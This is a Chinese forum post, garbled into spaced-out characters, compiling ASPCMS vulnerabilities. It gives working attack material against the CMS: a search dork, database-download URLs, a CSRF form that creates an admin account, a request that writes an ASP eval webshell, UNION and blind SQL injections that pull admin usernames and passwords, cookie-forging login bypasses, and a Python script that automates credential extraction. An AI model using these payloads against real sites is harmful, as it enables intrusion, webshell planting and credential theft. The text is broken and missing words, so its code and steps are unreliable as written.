[18857] 2019-05-19_ASPCMS漏洞合集

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2019-05-19_ASPCMS漏洞合集 A S P C M S c r h u a   h u a s e c   2 0 1 9 - 0 5 - 1 9   i n t i t l e : P o w e r e d   b y   A s p C m s 2   A S P C M S 0 1 访 0 2 A S P C M S 2 . 3 . x A S P C M S / d a t a / d a t a . m d b # d a t a . a s p 使 % 2 3 # 访 2 . 5 . 2 a s p c m s 2 5 2 . m d b # a s p c m s 2 5 2 . a s p 使 % 2 3 # 访 0 3 V 2 . 5 . 6 G e n d e r % 1 6   U R L - d e c o d e h t t p : / / x x x . c o m / p l u g / o e m / A s p C m s _ O E M . a s p   h t t p : / / 1 2 7 . 0 . 0 . 1 / d a t a / % 2 3 d a t a . a s p h t t p : / / 1 2 7 . 0 . 0 . 1 / d a t a / % 2 3 a s p c m s 2 5 2 . a s p
0 4 V 2 . 5 . 2   C S R F + G e t s h e l l C S R F , h t t p : / / 1 0 . 6 5 . 2 0 3 . 1 0 0 : 9 0 / a d m i n _ a s p c m s / _ u s e r / _ A d m i n / A s p C m s _ A d m i n A d d . a s p ? a c t i o n = a d d P O S T G r o u p I D = 1 & L o g i n N a m e = 1 1 1 1 1 1 & P a s s w o r d = 1 1 1 1 1 1 & A d m i n D e s c = 1 1 1 1 1 1 & U s e r S t a t u s = 1 < F O R M   n a m e = " f o r m "   a c t i o n = " h t t p : / / x x x x . c o m / a d m i n _ a s p c m s / _ u s e r / _ A d m i n / A s p C m s _ A d m i n A d d . a s p ? a c t i o n = a d d "   m e t h o d = " p o s t "   > < T D   a l i g n = m i d d l e   w i d t h = 1 0 0   h e i g h t = 3 0 > < / T D > < s e l e c t   n a m e = " G r o u p I D "   i d = " G r o u p I D " > < o p t i o n   v a l u e = " 1 "   > < / o p t i o n > < o p t i o n   v a l u e = " 6 "   > l p y u a n < / o p t i o n > < o p t i o n   v a l u e = " 5 "   > < / o p t i o n > < / s e l e c t > < T D   a l i g n = m i d d l e   w i d t h = 1 0 0   h e i g h t = 3 0 > < / T D > < I N P U T   c l a s s = " i n p u t "   s t y l e = " f o n t - s i z e : 0 p x ; l i n e - h e i g h t : 2 0 p x ; ;   W I D T H :   3 0 0 p x "   m a x L e n g t h = " 2 0 0 "   n a m e = " L o g i n N a m e " / > < T D   a l i g n = m i d d l e   w i d t h = 1 0 0   h e i g h t = 3 0 > < / T D > < I N P U T     t y p e = " P a s s w o r d "   c l a s s = " i n p u t "   s t y l e = " f o n t - s i z e : 0 p x ; l i n e - h e i g h t : 2 0 p x ; ;   W I D T H :   3 0 0 p x "   m a x L e n g t h = " 2 0 0 "   n a m e = " P a s s w o r d " / >   < T D   a l i g n = m i d d l e   w i d t h = 1 0 0   h e i g h t = 3 0 > < / T D > < I N P U T   c l a s s = " i n p u t "   s t y l e = " f o n t - s i z e : 0 p x ; l i n e - h e i g h t : 2 0 p x ; ;   W I D T H :   3 0 0 p x "   m a x L e n g t h = " 2 0 0 "   n a m e = " A d m i n D e s c " / > < T D   a l i g n = m i d d l e   w i d t h = 1 0 0   h e i g h t = 3 0 > < / T D > < I N P U T   c l a s s = " c h e c k b o x "   t y p e = " c h e c k b o x "   n a m e = " U s e r S t a t u s "   c h e c k e d = " c h e c k e d "   v a l u e = " 1 " / > < I N P U T   c l a s s = " b u t t o n "   t y p e = " s u b m i t "   v a l u e = " "   / >     < / F O R M >
C S R F G e t S h e l l f i l e n a m e f i l e t e x t C S R F w e b s h e l l s h e l l 0 5 a s p c m s / a d m i n / c h e c k . a s p o r   a n d a d m i n '   O R   ' ' = ' 0 6 A s p C m s _ C o n t e n t F u n . a s p   S Q L / a d m i n _ a s p c m s / c o n t e n t / C o n t e n t / A s p C m s _ C o n t e n t F u n . a s p 访 使 f i l t e r P a r a p a y l o a d : a b < / F O R M > h t t p : / / x x x . x o m / a d m i n _ a s p c m s / _ s t y l e / A s p C m s _ T e m p l a t e A d d . a s p ? a c t t y p e = h t m l & a c t i o n = a d d f i l e n a m e = 1 1 1 1 1 1 . a s p ; 1 1 1 1 1 1 . h t m l & f i l e t e x t = % 3 C % 2 5 e v a l % 2 0 r e q u e s t % 2 8 % 5 C % 2 7 w o o y u n % 5 C % 2 7 % 2 9 % 2 5 % 3 E h t t p : / / x x x . c o m / T e m p l a t e s / c n 2 0 1 4 / h t m l / 1 1 1 1 1 1 . a s p ; 1 1 1 1 1 1 . h t m l h t t p : / / 1 9 2 . 1 6 8 . 1 1 6 . 1 3 0 / a s p c m s / a d m i n _ a s p c m s / _ c o n t e n t / _ C o n t e n t / A s p C m s _ C o n t e n t F u n . a s p ? a c t i o n = t d e l & i d = 2 = i i f ( ( ( s e l e c t   a s c ( m i d ( L o g i n N a m e , 1 , 1 ) )   f r o m   A s p C m s _ U s e r   w h e r e   U s e r I D = 1 ) = 9 7 ) , h t t p : / / 1 9 2 . 1 6 8 . 1 1 6 . 1 3 0 / a s p c m s / a d m i n _ a s p c m s / _ c o n t e n t / _ C o n t e n t / A s p C m s _ C o n t e n t F u n . a s p ? a c t i o n = t d e l & i d = 2 = i i f ( ( ( s e l e c t   a s c ( m i d ( L o g i n N a m e , 1 , 1 ) )   f r o m   A s p C m s _ U s e r   w h e r e   U s e r I D = 1 ) = 9 8 ) ,
0 7 G e t s h e l l s h e l l   . A p a c h e i i s 6   G e t S h e l l 0 8 +   c o o k i e s
a p s c m s 2 . 1 . 4   G B K p a y l o a d : C o o k i e s C o o k i e s l o g i n . a s p i n d e x . a s p w e b s h e l l 0 9 V 1 . 5 S Q L / p l u g / p r o d u c t b u y . a s p     i d   I D = 1 2 , 3 , 4 . . 1 0 a s p c m s c o o k i e m e m b e r / r e g . a s p 3 - 1 0   g e t , a c t i o n e d i t p a s s e d i t U s e r h t t p : / / w w w . a s p c m s . c o m / a d m i n / _ c o n t e n t / _ A b o u t / A s p C m s _ A b o u t E d i t . a s p ? i d = 1 % 2 0 a n d % 2 0 1 = 2 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 1 , 2 , 3 , 4 , 5 , l o g i n n a m e , 7 , 8 , 9 , p a s s w o r d , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , 3 2 , 3 3 , 3 4 , 3 5 c o o k i e s : u s e r n a m e = a d m i n ;   A S P S E S S I O N I D A A B T A A C S = I H D J O J A C O P K F E E E N H H M J H K L G ;   L a n g u a g e A l i a s = c n ;   L a n g u a g e P a t h = % 2 F ;   l a n g u a g e I D = 1 ;   a d m i n I d = 1 ;   a d m i n N a m e = a d m i n ;   g r o u p M e n u = 1 % 2 C + 7 0 % 2 C + 1 0 % 2 C + A s p C m s _ T e m p l a t e E d i t . a s p ? a c t t y p e = & f i l e n a m e = . . / . . / . . / i n d e x . a s p h t t p : / / w w w . x x x . c o m / p l u g / p r o d u c t b u y . a s p ? i d = 2 + u n i o n + s e l e c t + 1 , 2 , L o g i n N a m e , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , 3 2 , 3 3 , 3 4 , 3 5 , 3 6 , 3 7 + f r o m + A s p C m s _ U s e r + h t t p : / / w w w . x x x . c o m / p l u g / p r o d u c t b u y . a s p ? i d = 2 + u n i o n + s e l e c t + 1 , 2 , p a s s w o r d , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , 3 2 , 3 3 , 3 4 , 3 5 , 3 6 , 3 7 + f r o m + A s p C m s _ U s e r + d i m   a c t i o n   :   a c t i o n = g e t f o r m ( " a c t i o n " , " g e t " ) i f   a c t i o n   =   " r e g "   t h e n a d d U s e r ( ) e l s e i f   a c t i o n   =   " e d i t p a s s "   t h e n e d i t U s e r ( ) e l s e e c h o C o n t e n t ( ) e n d   i f S u b   e d i t U s e r d i m   L o g i n N a m e , u s e r P a s s , r e u s e r P a s s , E m a i l , M o b i l e , A d d r e s s , P o s t C o d e , G e n d e r , Q Q , T r u e N a m e , P h o n e L o g i n N a m e = t r i m ( r C o o k i e ( " l o g i n N a m e " ) )   u s e r P a s s = g e t F o r m ( " u s e r P a s s " , " p o s t " )   r e u s e r P a s s = g e t F o r m ( " r e u s e r P a s s " , " p o s t " )   E m a i l = f i l t e r P a r a ( g e t F o r m ( " E m a i l " , " p o s t " ) ) M o b i l e = f i l t e r P a r a ( g e t F o r m ( " M o b i l e " , " p o s t " ) ) A d d r e s s = f i l t e r P a r a ( g e t F o r m ( " A d d r e s s " , " p o s t " ) ) P o s t C o d e = f i l t e r P a r a ( g e t F o r m ( " P o s t C o d e " , " p o s t " ) ) G e n d e r = f i l t e r P a r a ( g e t F o r m ( " G e n d e r " , " p o s t " ) ) Q Q = f i l t e r P a r a ( g e t F o r m ( " Q Q " , " p o s t " ) ) T r u e N a m e = f i l t e r P a r a ( g e t F o r m ( " T r u e N a m e " , " p o s t " ) ) P h o n e = f i l t e r P a r a ( g e t F o r m ( " P h o n e " , " p o s t " ) ) i f   u s e r P a s s < > r e u s e r P a s s   t h e n   a l e r t M s g A n d G o   " " , " - 1 "   d i m   p a s s S t r i f   n o t   i s n u l ( u s e r P a s s )   t h e n   p a s s S t r = " [ P a s s w o r d ] = ' " & m d 5 ( u s e r P a s s , 1 6 ) & " ' , " C o n n . E x e c " u p d a t e   { p r e f i x } U s e r   s e t   " & p a s s S t r & "   E m a i l = ' " & E m a i l & " ' , Q Q = ' " & Q Q & " ' , M o b i l e = ' " & M o b i l e & " ' , A d d r e s s = ' " & A d d r e s s & " ' , P o s t C o d e = ' " & P o s t C o d e & " ' , G e n d e r = " & G e n d e r & " , P h o n e = ' " & P h o n e & a l e r t M s g A n d G o   " " , " e d i t P a s s . a s p "   E n d   S u b
2 4 - 4 7   e d i t U s e r c o o k i e L o g i n N a m e a d m i n u s e r i n f o . a s p   1 1 V 2 . 2 . 9   A S P C M S C M S   2 . 2 . 9 i n c / A s p C m s _ C o m m o n F u n . a s p c h e c k L o g i n   l i n e   1 1 5 2 : c o o k i e a d m i n N a m e a d m i n N a m e l i n e   1 1 5 7 P e r m i s s i o n s a l l c o o k i e P e r m i s s i o n s a l l l i n e   1 1 6 2 c o o k i e a d m i n r a n d a d m i n r a n d l i n e   1 1 6 3 c o o k i e a d m i n N a m e s q l a d m i n N a m e 便 使 p a y l o a d : 1 2 c o m m e n t L i s t . a s p   S Q L p a y l o a d : M D 5 P O C : F u n c t i o n   c h e c k L o g i n ( )         i f   i s n u l ( r C o o k i e ( " a d m i n N a m e " ) )   o r   r C o o k i e ( " a d m i n N a m e " ) = " "   t h e n                 a l e r t M s g A n d G o " " , " / "         / / a d m i n N a m e         e l s e                 d i m   P e r m i s s i o n s                 P e r m i s s i o n s = r C o o k i e ( " g r o u p M e n u " )                 i f   P e r m i s s i o n s < > " a l l "   a n d   i s n u l ( P e r m i s s i o n s )   t h e n                         a l e r t M s g A n d G o " 访 " , " - 1 "       / / g r o u p M e n u a l l               i f   n o t   i s n u m ( r C o o k i e ( " a d m i n r a n d " ) )   t h e n   a l e r t M s g A n d G o " 访 " , " - 1 "   e n d   i f                 s q l   =   " s e l e c t   c o u n t ( * )   f r o m   { p r e f i x } U s e r   w h e r e   L o g i n N a m e   =   ' " & r C o o k i e ( " a d m i n N a m e " )   & " '   a n d   a d m i n r a n d = ' " & r C o o k i e ( " a d m i n r a n d " ) & " ' "                 D i m   r s c o o   :   S e t   r s c o o = C o n n . E x e c ( s q l , " r 1 " )                 i f   r s c o o ( 0 ) < > 1   t h e n                                 w C o o k i e " a d m i n N a m e " , " "                                           w C o o k i e " a d m i n I d " , " "                         w C o o k i e " g r o u p M e n u " , " "                         w C o o k i e " S c e n e M e n u " , " "                         a l e r t M s g A n d G o " 访 " , " - 1 "         a d m i n r a n d S Q L 1 访         e n d   i f g r o u p M e n u = a l l ; a d m i n r a n d = 1 ; a d m i n N a m e = a d m i n '   o r   1 = ' 1 / p l u g / c o m m e n t / c o m m e n t L i s t . a s p ? i d = 0 % 2 0 u n m a s t e r i o n % 2 0 s e m a s t e r l e c t % 2 0 t o p % 2 0 1 % 2 0 U s e r I D , G r o u p I D , L o g i n N a m e , P a s s w o r d , n o w % 2 8 % 2 9 , n u l l , 1 % 2 0 % 2 0 f r m a s t e r o m % 2 0 { p r e f i x } u s e r f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p   a s   b s i m p o r t   r e q u e s t s i m p o r t   h a s h l i b f r o m   u r l l i b . p a r s e   i m p o r t   u r l j o i n i m p o r t   r e d e f   A S P C M S _ E X P ( u r l ) :     i 2 = u r l j o i n ( u r l . s t r i p ( ) , " / p l u g / c o m m e n t / c o m m e n t L i s t . a s p ? i d = 0 % 2 0 u n m a s t e r i o n % 2 0 s e m a s t e r l e c t % 2 0 t o p % 2 0 1 % 2 0 U s e r I D , G r o u p I D , L o g i n N a m e , P a s s w o r d , n o w % 2 8 % 2 9 , n u l l , 1 % 2 0 % 2 0 f r m a s t e r o m % 2 0 { p r e f i x } u s e r "     t r y :     #  
1 3 a s p c m s , m d     t r y :     #           r   =   r e q u e s t s . g e t ( i 2 ,   t i m e o u t = 4 )     #           i f   r . s t a t u s _ c o d e = = 2 0 0 : #             s o u p = b s ( r . t e x t , " l x m l " )       # b s             i f   h a s h l i b . m d 5 :       # M D 5                 m b 1 = s o u p . f i n d _ a l l ( n a m e = " d i v " , a t t r s = { " c l a s s " : " l i n e 1 " } ) [ 0 ] . t e x t   # l i n e 1 1                 m b 2 = s o u p . f i n d _ a l l ( n a m e = " d i v " , a t t r s = { " c l a s s " : " l i n e 2 " } ) [ 0 ] . t e x t   # l i n e 2                 m 1   =   s t r ( r e . f i n d a l l ( " . * ( . * ) I P . * " , m b 1 ) )                 m 1 = s t r ( r e . f i n d a l l ( ' [ a - z A - Z ] + ' , m 1 ) )                 p r i n t ( i . s t r i p ( ) + " " )                 p r i n t ( m 1 , m b 2 )     e x c e p t :         p a s s i f   _ _ n a m e _ _ = = ' _ _ m a i n _ _ ' :         A S P C M S _ E X P ( u r l )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则